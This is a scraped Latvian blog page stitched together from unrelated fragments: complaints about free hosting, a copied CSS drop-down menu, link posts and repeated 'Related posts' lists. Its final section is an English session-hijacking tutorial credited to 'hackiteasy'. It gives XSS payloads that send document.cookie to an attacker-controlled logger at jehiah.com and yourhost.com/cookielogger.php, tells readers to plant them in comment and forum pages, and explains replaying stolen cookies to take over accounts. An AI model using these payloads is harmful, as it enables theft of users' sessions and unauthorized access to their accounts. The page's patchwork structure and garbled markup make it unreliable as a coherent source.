Kombinējot abus variantus var veiksmīgi izvairīties arī no CSRF.

Redirekta piemērs priekš PHP.

Related posts:

1. Kā nodemonstrēt XSS ievainojamību
2. Aizstājam vai izmainām izvadāmo kodu izmantojot javascript
3. Atbrīvojamies no komentāru spama

Related posts:

1. www.atlaizuklubs.lv SQL kļūda
2. Kā nodemonstrēt XSS ievainojamību
3. Aizstājam vai izmainām izvadāmo kodu izmantojot javascript

http://www.udacity.com/overview/Course/cs253/CourseRev/apr2012

Related posts:

1. Aizstājam vai izmainām izvadāmo kodu izmantojot javascript
2. Kā nodemonstrēt XSS ievainojamību
3. Atbrīvojamies no komentāru spama

Please note that your web site is hosted on the FREE part of the hosting cluster and the utilization at peak times is enormous this side effect, slowness might appear from time to time.
In order to avoid such things we strongly recommend that you upgrade your account to a paid plan and your sites will be moved to the paid hosting customer where the performance and stability is on even better level.

Atklājās, ka tā servisa iebremzēšana gadījās ļoti bieži, vienkārši nebiju tam pievērsis uzmanību.
Vēl viena lieta, ka bezmaksas versijā nav pieejami tādi pašsaprotami pakalpojumi, kā backup, htaccess, utml.

[Error 0x34017]: Sorry, but your hosting plan does not support backup.

Raksta sāls vai galvenā atziņa – Ar šo gadījumu būtu pienācis laiks beigt tērēt savu laiku meklējot bezmaksas sieru, kaut gan maksājot mazu samaksu (12$/gadā) par hosting pakalpojumiem arī negaantē servisu

http://dll.lv/neuzticamais-hostings-kur-glabat-backup-vai-gadas-ari-ta

(to arī vairs neizmantoju, kopš viņi nebrīdinot atslēdza vienu lapu vienkārši paziņojot, ka tā rada pārāk lielu noslodzi un atpakaļ nepieslēdza).

Related posts:

1. Bezmaksas hostings
2. Neuzticamais hostings, kur glabāt backup vai gadās arī tā
3. Meklējot lētāko hostingu vai arī- vai hostējot var kaut ko nopelnīt?

<div id="navMenu">
<ul>
<li> <a href="#">Products</li>
<ul>
	 <li><a href="#">Wet Suit</li>

    <li><a href="#">Vacuum Cleaner</li>

    <li><a href="#">Pill Box</li>

</ul>
 </li>
</ul>
</ul>

</div>
 


#navMenu {
margin:0;
width:auto;
}

#navMenu ul {
margin:0;
padding:0;
line-height:30px;
}

#navMenu li {
margin:0;
padding:0;
list-style:none;
float:left;
position:relative;
background:#999;
}

#navMenu ul li a {
text-align:center;
height:30px;
width:150px;
display:block;
color:#000;
font-family:"Comic Sans MS", cursive;
text-decoration:none;
color:#FFF;
border:1px solid #FFF;
text-shadow:1px 1px 1px #000;
}

#navMenu ul ul {
position:absolute;
visibility:hidden;
top:32px;
}

#navMenu ul li:hover ul {
visibility:visible;
z-index:9999;
}

/**********************************************/

/*sets top level hover color*/

#navMenu li:hover {
background:#09F;
}

/*sets link items hover color and background*/

#navMenu ul li:hover ul li a:hover {
color:#000;
background:#CCC;
}

/* Changes text color on hover for main menu hover*/

#navMenu a:hover {
color:#000;
}

/* Contains the Float */

.clearFloat {
clear:both;
margin:0;
padding:0;
}

/* IE7 Display Fix */

#navmenu ul li {

display: inline;

}

Ieraksts kopēts no:

http://dreamweavertutorial.co.uk/dreamweaver/video/drop-down-css-menu-dreamweaver.htm

Related posts:

1. Kā vienkārši uzlabot foto
2. Lapas redirect
3. Hackeri uzbrūk vai gadās arī tā

http://www.convertcase.net/

Related posts:

1. Pārveidot teksta kodējumu uz UTF-8
2. Kā ierakstīt- kas notiek uz darbavirsmas?
3. Kā izdrukāt aizsargātu (no drukāšanas) pdf failu vai man ir tiesības uz visu..

http://www.webdesigndev.com/web-development/16-gorgeous-web-safe-fonts-to-use-with-css

Related posts:

1. Aizstājam vai izmainām izvadāmo kodu izmantojot javascript
2. Logo mājaslapai
3. Kā nodemonstrēt XSS ievainojamību

Otrs veids ir izmantot šo pieeju.

Savkārt ievietot jau mājaslapā pārsūtāmo informāciju visbiežāk izdevies izmantojot šo piemēru:

<p>script>
new Image().src=”http://jehiah.com/_sandbox/log.cgi?c=”+encodeURI(document.cookie);
<p>/script>

In computer science, session hijacking refers to the exploitation of a valid computer session—sometimes also called a session key—to gain unauthorized access to information or services in a computer system. In particular, it is used to refer to the theft of a magic cookie used to authenticate a user to a remote server. It has particular relevance to web developers, as the HTTP cookies used to maintain a session on many web sites can be easily stolen by an attacker using an intermediary computer or with access to the saved cookies on the victim’s computer (see HTTP cookie theft).

Here we show how you can hack a session using javascript and php.

What is a cookie?

A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back by the browser unchanged everytime it accesses the server.
A cookie has a expiration time that is set by the server and are deleted automatically after the expiration time.
Cookie is used to maintain users authentication and to implement shopping cart during his navigation,possibly across multiple visits.

What can we do after stealing cookie?

Well,as we know web sites authenticate their user’s with a cookie,it can be used to hijack the victims session.The victims stolen cookie can be replaced with our cookie to hijack his session.

This is a cookie stealing script that steals the cookies of a user and store them in a text file, these cookied can later be utilised.

PHP Code:

Save the script as a cookielogger.php on your server.
(You can get any free webhosting easily such as justfree,x10hosting etc..)

Create an empty text file log.txt in the same directory on the webserver. The hijacked/hacked cookies will be automatically stored here.

Now for the hack to work we have to inject this piece of javascript into the target’s page. This can be done by adding a link in the comments page which allows users to add hyperlinks etc. But beware some sites dont allow javascript so you gotta be lucky to try this.

The best way is to look for user interactive sites which contain comments or forums.

Post the following code which invokes or activates the cookielogger on your host.

Code:
<p>script type=”text/javascript” language=”Java script”>// document.location="http://www.yourhost.com/cookielogger.php?cookie=" + document.cookie;
// ]]><p>/script>

Your can also trick the victim into clicking a link that activates javascript.
Below is the code which has to be posted.

Code:
<p>a href=”java script:document.location=’http://www.yourhost.com/cookielogger.php?cookie=’+document.cookie;”>Click here!

Clicking an image also can activate the script.For this purpose you can use the below code.

Code:

<p>img src=”URL OF THE IMAGE” alt=”" />

All the details like cookie,ipaddress,browser of the victim are logged in to log.txt on your hostserver

In the above codes please remove the space in between javascript.

Hijacking the Session:

Now we have cookie,what to do with this..?
Download cookie editor mozilla plugin or you may find other plugins as well.

Go to the target site–>open cookie editor–>Replace the cookie with the stolen cookie of the victim and refresh the page.Thats it!!!you should now be in his account. Download cookie editor mozilla plugin from here : https://addons.mozilla.org/en-US/firefox/addon/573

Don’t forget to comment if you like my post.
by hackiteasy

Related posts:

1. www.zz.lv un XSS
2. Aizstājam vai izmainām izvadāmo kodu izmantojot javascript
3. Lapas redirect

Related posts:

1. Iznācis WordPress 3.0.5 ar drošības labojumiem
2. WordPress update crash
3. Atjaunojam wordpress

Related posts:

1. Joomla 1.6
2. Pods izsmiets vai vēsture atkārtojas
3. Drupal stress test